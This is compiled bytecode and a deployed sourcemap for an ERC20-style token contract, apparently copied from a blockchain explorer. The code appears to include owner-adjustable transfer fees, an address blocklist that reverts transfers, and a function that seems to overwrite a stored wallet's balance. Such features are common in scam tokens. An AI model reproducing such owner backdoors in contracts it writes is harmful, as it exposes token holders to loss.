ffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600080828461175f9190612f8f565b9050838110156117a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161179b90612e0a565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611826576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181d90612e8a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611896576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188d90612dea565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516119749190612eaa565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156119f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e990612e6a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5990612dca565b60405180910390fd5b601660149054906101000a900460ff1615611a8957611a82848484611e3e565b9050611d89565b6000611a9430611045565b905060006014548210159050808015611aba5750601660149054906101000a900460ff16155b8015611b105750600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611b285750601660159054906101000a900460ff165b15611b3757611b3682612011565b5b611b8984600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611df490919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c6f5750600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611c8357611c7e878787612117565b611c85565b845b9050611cd981600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461175090919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611d799190612eaa565b60405180910390a3600193505050505b9392505050565b6000838311158290611dd8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dcf9190612da8565b60405180910390fd5b5060008385611de79190613070565b9050809150509392505050565b6000611e3683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d90565b905092915050565b6000611ec9826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d909092919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f5e82600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461175090919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611ffe9190612eaa565b60405180910390a3600190509392505050565b6001601660146101000a81548160ff021916908315150217905550600081905061203a816123e7565b600047905060006012549050600061206f82612061600f548661263c90919063ffffffff16565b6126b790919063ffffffff16565b905060006120868285611df490919063ffffffff16565b905060008111156120be576120bd600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682612701565b5b60008211156120f4576120f3600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683612701565b5b50505050506000601660146101000a81548160ff02191690831515021790555050565b60008060009050600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166121c757600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156121c657600080fd5b5b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156122485761224160646122336010548661263c90919063ffffffff16565b6126b790919063ffffffff16565b90506122c6565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156122c5576122c260646122b46011548661263c90919063ffffffff16565b6126b790919063ffffffff16565b90505b5b60008111156123ca5761232181600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461175090919063ffffffff16565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516123c19190612eaa565b60405180910390a35b6123dd8184611df490919063ffffffff16565b9150509392505050565b6000600267ffffffffffffffff811115612404576124036132bd565b5b6040519080825280602002602001820160405280156124325781602001602082028036833780820191505090505b509050308160008151811061244a5761244961328e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156124ec57600080fd5b505afa158015612500573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125249190612886565b816001815181106125385761253761328e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061259f30601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846117b6565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612603959493929190612ec5565b600060405180830381600087803b15801561261d57600080fd5b505af192505050801561262e575060015b61263757612638565b5b5050565b60008083141561264f57600090506126b1565b6000828461265d9190613016565b905082848261266c9190612fe5565b146126ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126a390612e2a565b60405180910390fd5b809150505b92915050565b60006126f983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061274c565b905092915050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612747573d6000803e3d6000fd5b505050565b60008083118290612793576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161278a9190612da8565b60405180910390fd5b50600083856127a29190612fe5565b9050809150509392505050565b6000813590506127be816134f3565b92915050565b6000815190506127d3816134f3565b92915050565b60008083601f8401126127ef576127ee6132f1565b5b8235905067ffffffffffffffff81111561280c5761280b6132ec565b5b602083019150836020820283011115612828576128276132f6565b5b9250929050565b60008135905061283e8161350a565b92915050565b60008135905061285381613521565b92915050565b60006020828403121561286f5761286e613300565b5b600061287d848285016127af565b91505092915050565b60006020828403121561289c5761289b613300565b5b60006128aa848285016127c4565b91505092915050565b600080604083850312156128ca576128c9613300565b5b60006128d8858286016127af565b92505060206128e9858286016127af565b9150509250929050565b60008060006060848603121561290c5761290b613300565b5b600061291a868287016127af565b935050602061292b868287016127af565b925050604061293c86828701612844565b9150509250925092565b6000806040838503121561295d5761295c613300565b5b600061296b858286016127af565b925050602061297c85828601612844565b9150509250929050565b60008060006040848603121561299f5761299e613300565b5b600084013567ffffffffffffffff8111156129bd576129bc6132fb565b5b6129c9868287016127d9565b935093505060206129dc8682870161282f565b9150509250925092565b6000602082840312156129fc576129fb613300565b5b6000612a0a8482850161282f565b91505092915050565b600080600060408486031215612a2c57612a2b613300565b5b6000612a3a8682870161282f565b935050602084013567ffffffffffffffff811115612a5b57612a5a6132fb565b5b612a67868287016127d9565b92509250509250925092565b600060208284031215612a8957612a88613300565b5b6000612a9784828501612844565b91505092915050565b60008060408385031215612ab757612ab6613300565b5b6000612ac585828601612844565b9250506020612ad6858286016127af565b9150509250929050565b60008060408385031215612af757612af6613300565b5b6000612b0585828601612844565b9250506020612b1685828601612844565b9150509250929050565b6000612b2c8383612b47565b60208301905092915050565b612b41816130b6565b82525050565b612b50816130a4565b82525050565b612b5f816130a4565b82525050565b6000612b7082612f4a565b612b7a8185612f6d565b9350612b8583612f3a565b8060005b83811015612bb6578151612b9d8882612b20565b9750612ba883612f60565b925050600181019050612b89565b5085935050505092915050565b612bcc816130c8565b82525050565b612bdb8161310b565b82525050565b612bea8161311d565b82525050565b6000612bfb82612f55565b612c058185612f7e565b9350612c15818560208601613153565b612c1e81613305565b840191505092915050565b6000612c36602383612f7e565b9150612c4182613316565b604082019050919050565b6000612c59602283612f7e565b9150612c6482613365565b604082019050919050565b6000612c7c601b83612f7e565b9150612c87826133b4565b602082019050919050565b6000612c9f602183612f7e565b9150612caa826133dd565b604082019050919050565b6000612cc2602083612f7e565b9150612ccd8261342c565b602082019050919050565b6000612ce5602583612f7e565b9150612cf082613455565b604082019050919050565b6000612d08602483612f7e565b9150612d13826134a4565b604082019050919050565b612d27816130f4565b82525050565b612d36816130fe565b82525050565b6000602082019050612d516000830184612b56565b92915050565b6000602082019050612d6c6000830184612b38565b92915050565b6000602082019050612d876000830184612bc3565b92915050565b6000602082019050612da26000830184612bd2565b92915050565b60006020820190508181036000830152612dc28184612bf0565b905092915050565b60006020820190508181036000830152612de381612c29565b9050919050565b60006020820190508181036000830152612e0381612c4c565b9050919050565b60006020820190508181036000830152612e2381612c6f565b9050919050565b60006020820190508181036000830152612e4381612c92565b9050919050565b60006020820190508181036000830152612e6381612cb5565b9050919050565b60006020820190508181036000830152612e8381612cd8565b9050919050565b60006020820190508181036000830152612ea381612cfb565b9050919050565b6000602082019050612ebf6000830184612d1e565b92915050565b600060a082019050612eda6000830188612d1e565b612ee76020830187612be1565b8181036040830152612ef98186612b65565b9050612f086060830185612b56565b612f156080830184612d1e565b9695505050505050565b6000602082019050612f346000830184612d2d565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612f9a826130f4565b9150612fa5836130f4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612fda57612fd9613201565b5b828201905092915050565b6000612ff0826130f4565b9150612ffb836130f4565b92508261300b5761300a613230565b5b828204905092915050565b6000613021826130f4565b915061302c836130f4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561306557613064613201565b5b828202905092915050565b600061307b826130f4565b9150613086836130f4565b92508282101561309957613098613201565b5b828203905092915050565b60006130af826130d4565b9050919050565b60006130c1826130d4565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006131168261312f565b9050919050565b6000613128826130f4565b9050919050565b600061313a82613141565b9050919050565b600061314c826130d4565b9050919050565b60005b83811015613171578082015181840152602081019050613156565b83811115613180576000848401525b50505050565b6000600282049050600182168061319e57607f821691505b602082108114156131b2576131b161325f565b5b50919050565b60006131c3826130f4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156131f6576131f5613201565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6134fc816130a4565b811461350757600080fd5b50565b613513816130c8565b811461351e57600080fd5b50565b61352a816130f4565b811461353557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220c5d849954722599046769ad95d75c5c9682089d618dbf51f85626195b188484764736f6c63430008070033
Deployed Bytecode Sourcemap
3865:10259:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6449:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8257:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7743:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4107:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5056:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6726:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10071:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4154:81;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9109:128;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6635:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4363:50;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7112:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4472:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4420;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5171:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9379:252;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10392:389;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4694:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6834:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4070:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4818:38;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2941:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6540:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7615:120;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8727:242;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4863:44;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7338:269;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4735:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9674:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9849:212;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4568:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8977:118;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4526:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5104:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4611:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4654:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8483:236;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4986:60;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6961:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4774:37;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3155:157;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6449:83;6486:13;6519:5;6512:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6449:83;:::o;8257:218::-;3078:12;:10;:12::i;:::-;3068:22;;:6;;;;;;;;;;:22;;;3060:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;8361:9:::1;8357:111;8380:7;;:14;;8376:1;:18;8357:111;;;8448:8;8416:17;:29;8434:7;;8442:1;8434:10;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;8416:29;;;;;;;;;;;;;;;;:40;;;;;;;;;;;;;;;;;;8396:3;;;;;:::i;:::-;;;;8357:111;;;;8257:218:::0;;;:::o;7743:161::-;7818:4;7835:39;7844:12;:10;:12::i;:::-;7858:7;7867:6;7835:8;:39::i;:::-;7892:4;7885:11;;7743:161;;;;:::o;4107:40::-;;;;;;;;;;;;;:::o;5056:41::-;;;;;;;;;;;;;:::o;6726:100::-;6779:7;6806:12;;6799:19;;6726:100;:::o;10071:313::-;10169:4;10186:36;10196:6;10204:9;10215:6;10186:9;:36::i;:::-;;10233:121;10242:6;10250:12;:10;:12::i;:::-;10264:89;10302:6;10264:89;;;;;;;;;;;;;;;;;:11;:19;10276:6;10264:19;;;;;;;;;;;;;;;:33;10284:12;:10;:12::i;:::-;10264:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;10233:8;:121::i;:::-;10372:4;10365:11;;10071:313;;;;;:::o;4154:81::-;;;:::o;9109:128::-;9162:7;9189:40;9206:22;9216:11;9206:9;:22::i;:::-;9189:12;;:16;;:40;;;;:::i;:::-;9182:47;;9109:128;:::o;6635:83::-;6676:5;6701:9;;;;;;;;;;;6694:16;;6635:83;:::o;4363:50::-;;;;;;;;;;;;;;;;;;;;;;:::o;7112:218::-;7200:4;7217:83;7226:12;:10;:12::i;:::-;7240:7;7249:50;7288:10;7249:11;:25;7261:12;:10;:12::i;:::-;7249:25;;;;;;;;;;;;;;;:34;7275:7;7249:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;7217:8;:83::i;:::-;7318:4;7311:11;;7112:218;;;;:::o;4472:45::-;;;;;;;;;;;;;;;;;;;;;;:::o;4420:::-;;;;;;;;;;;;;;;;;;;;;;:::o;5171:40::-;;;;;;;;;;;;;:::o;9379:252::-;9474:21;9492:1;9474:9;:21::i;:::-;9511:9;9506:118;9526:12;;:19;;9522:1;:23;9506:118;;;9599:13;9567:12;:29;9580:12;;9593:1;9580:15;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;9567:29;;;;;;;;;;;;;;;;:45;;;;;;;;;;;;;;;;;;9547:3;;;;;:::i;:::-;;;;9506:118;;;;9379:252;;;:::o;10392:389::-;10475:21;10493:1;10475:9;:21::i;:::-;10507:9;10524:12;10519:2;:17;;;;:::i;:::-;10507:29;;10547:16;10566:4;10547:23;;10581:17;10636:1;10631:2;10605:9;:23;10615:12;10605:23;;;;;;;;;;;;;;;;10601:1;:27;;;;:::i;:::-;:32;;;;:::i;:::-;:36;;;;:::i;:::-;10581:56;;10648:19;10686:9;10674;10670:1;:13;;;;:::i;:::-;:25;;;;:::i;:::-;10648:47;;10720:5;10706:19;;10762:11;10736:9;:23;10746:12;10736:23;;;;;;;;;;;;;;;:37;;;;10464:317;;;;10392:389;;:::o;4694:34::-;;;;:::o;6834:119::-;6900:7;6927:9;:18;6937:7;6927:18;;;;;;;;;;;;;;;;6920:25;;6834:119;;;:::o;4070:30::-;;;;;;;;;;;;;:::o;4818:38::-;;;;:::o;2941:79::-;2979:7;3006:6;;;;;;;;;;;2999:13;;2941:79;:::o;6540:87::-;6579:13;6612:7;6605:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6540:87;:::o;7615:120::-;7677:7;7704:23;;7697:30;;7615:120;:::o;8727:242::-;3078:12;:10;:12::i;:::-;3068:22;;:6;;;;;;;;;;:22;;;3060:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;8841:15:::1;8821:17;:35;;;;8882:10;8867:12;:25;;;;8926:35;8948:12;;8926:17;;:21;;:35;;;;:::i;:::-;8905:18;:56;;;;8727:242:::0;;:::o;4863:44::-;;;;:::o;7338:269::-;7431:4;7448:129;7457:12;:10;:12::i;:::-;7471:7;7480:96;7519:15;7480:96;;;;;;;;;;;;;;;;;:11;:25;7492:12;:10;:12::i;:::-;7480:25;;;;;;;;;;;;;;;:34;7506:7;7480:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;7448:8;:129::i;:::-;7595:4;7588:11;;7338:269;;;;:::o;4735:30::-;;;;:::o;9674:167::-;9752:4;9769:42;9779:12;:10;:12::i;:::-;9793:9;9804:6;9769:9;:42::i;:::-;;9829:4;9822:11;;9674:167;;;;:::o;9849:212::-;9906:15;9924:6;9906:24;;9958:6;9947:7;:17;;9941:103;;10003:7;;;;;;;;;;;9989:21;;:10;:21;;;:52;;;;10034:5;10015:25;;10020:4;10015:25;;;9989:52;9981:61;;;;;;9941:103;9895:166;9849:212;:::o;4568:30::-;;;;:::o;8977:118::-;3078:12;:10;:12::i;:::-;3068:22;;:6;;;;;;;;;;:22;;;3060:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;9079:8:::1;9055:21;;:32;;;;;;;;;;;;;;;;;;8977:118:::0;:::o;4526:35::-;;;;:::o;5104:26::-;;;;;;;;;;;;;:::o;4611:36::-;;;;:::o;4654:31::-;;;;:::o;8483:236::-;3078:12;:10;:12::i;:::-;3068:22;;:6;;;;;;;;;;:22;;;3060:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;8595:15:::1;8576:16;:34;;;;8635:10;8621:11;:24;;;;8678:33;8699:11;;8678:16;;:20;;:33;;;;:::i;:::-;8658:17;:53;;;;8483:236:::0;;:::o;4986:60::-;;;;:::o;6961:143::-;7042:7;7069:11;:18;7081:5;7069:18;;;;;;;;;;;;;;;:27;7088:7;7069:27;;;;;;;;;;;;;;;;7062:34;;6961:143;;;;:::o;4774:37::-;;;;:::o;3155:157::-;3078:12;:10;:12::i;:::-;3068:22;;:6;;;;;;;;;;:22;;;3060:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;3238:10:::1;3229:6;::::0;:19:::1;;;;;;;;;;;;;;;;;;3293:10;3264:40;;3285:6;::::0;::::1;;;;;;;;3264:40;;;;;;;;;;;;3155:157:::0;:::o;1045:181::-;1103:7;1123:9;1139:1;1135;:5;;;;:::i;:::-;1123:17;;1164:1;1159;:6;;1151:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1217:1;1210:8;;;1045:181;;;;:::o;98:115::-;151:15;194:10;179:26;;98:115;:::o;7912:337::-;8022:1;8005:19;;:5;:19;;;;7997:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8103:1;8084:21;;:7;:21;;;;8076:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8187:6;8157:11;:18;8169:5;8157:18;;;;;;;;;;;;;;;:27;8176:7;8157:27;;;;;;;;;;;;;;;:36;;;;8225:7;8209:32;;8218:5;8209:32;;;8234:6;8209:32;;;;;;:::i;:::-;;;;;;;;7912:337;;;:::o;10789:1144::-;10867:4;10910:1;10894:18;;:4;:18;;;;10886:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10987:1;10973:16;;:2;:16;;;;10965:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;11053:16;;;;;;;;;;;11050:876;;;11102:32;11117:4;11123:2;11127:6;11102:14;:32::i;:::-;11095:39;;;;11050:876;11186:28;11217:24;11235:4;11217:9;:24::i;:::-;11186:55;;11256:28;11311:23;;11287:20;:47;;11256:78;;11353:23;:44;;;;;11381:16;;;;;;;;;;;11380:17;11353:44;:67;;;;;11402:12;:18;11415:4;11402:18;;;;;;;;;;;;;;;;;;;;;;;;;11401:19;11353:67;:92;;;;;11424:21;;;;;;;;;;;11353:92;11349:183;;;11480:36;11495:20;11480:14;:36::i;:::-;11349:183;11566:27;11586:6;11566:9;:15;11576:4;11566:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;11548:9;:15;11558:4;11548:15;;;;;;;;;;;;;;;:45;;;;11608:19;11631:17;:23;11649:4;11631:23;;;;;;;;;;;;;;;;;;;;;;;;;:48;;;;11658:17;:21;11676:2;11658:21;;;;;;;;;;;;;;;;;;;;;;;;;11631:48;11630:130;;11735:25;11743:4;11749:2;11753:6;11735:7;:25::i;:::-;11630:130;;;11726:6;11630:130;11608:152;;11805:30;11823:11;11805:9;:13;11815:2;11805:13;;;;;;;;;;;;;;;;:17;;:30;;;;:::i;:::-;11789:9;:13;11799:2;11789:13;;;;;;;;;;;;;;;:46;;;;11872:2;11857:31;;11866:4;11857:31;;;11876:11;11857:31;;;;;;:::i;:::-;;;;;;;;11910:4;11903:11;;;;;10789:1144;;;;;;:::o;1380:192::-;1466:7;1499:1;1494;:6;;1502:12;1486:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1526:9;1542:1;1538;:5;;;;:::i;:::-;1526:17;;1563:1;1556:8;;;1380:192;;;;;:::o;1236:136::-;1294:7;1321:43;1325:1;1328;1321:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1314:50;;1236:136;;;;:::o;11941:330::-;12034:4;12071:53;12093:6;12071:53;;;;;;;;;;;;;;;;;:9;:17;12081:6;12071:17;;;;;;;;;;;;;;;;:21;;:53;;;;;:::i;:::-;12051:9;:17;12061:6;12051:17;;;;;;;;;;;;;;;:73;;;;12158:32;12183:6;12158:9;:20;12168:9;12158:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;12135:9;:20;12145:9;12135:20;;;;;;;;;;;;;;;:55;;;;12223:9;12206:35;;12215:6;12206:35;;;12234:6;12206:35;;;;;;:::i;:::-;;;;;;;;12259:4;12252:11;;11941:330;;;;;:::o;12279:648::-;5271:4;5252:16;;:23;;;;;;;;;;;;;;;;;;12361:21:::1;12385:7;12361:31;;12403;12420:13;12403:16;:31::i;:::-;12445:22;12470:21;12445:46;;12504:19;12526:24;;12504:46;;12571:21;12595:47;12630:11;12595:30;12614:10;;12595:14;:18;;:30;;;;:::i;:::-;:34;;:47;;;;:::i;:::-;12571:71;;12653:26;12682:33;12701:13;12682:14;:18;;:33;;;;:::i;:::-;12653:62;;12752:1;12731:18;:22;12728:89;;;12768:49;12789:7;;;;;;;;;;;12798:18;12768:20;:49::i;:::-;12728:89;12849:1;12833:13;:17;12830:89;;;12865:54;12886:17;;;;;;;;;;;12905:13;12865:20;:54::i;:::-;12830:89;12340:587;;;;;5317:5:::0;5298:16;;:24;;;;;;;;;;;;;;;;;;12279:648;:::o;13424:691::-;13510:7;13540:17;13560:1;13540:21;;13577:12;:20;13590:6;13577:20;;;;;;;;;;;;;;;;;;;;;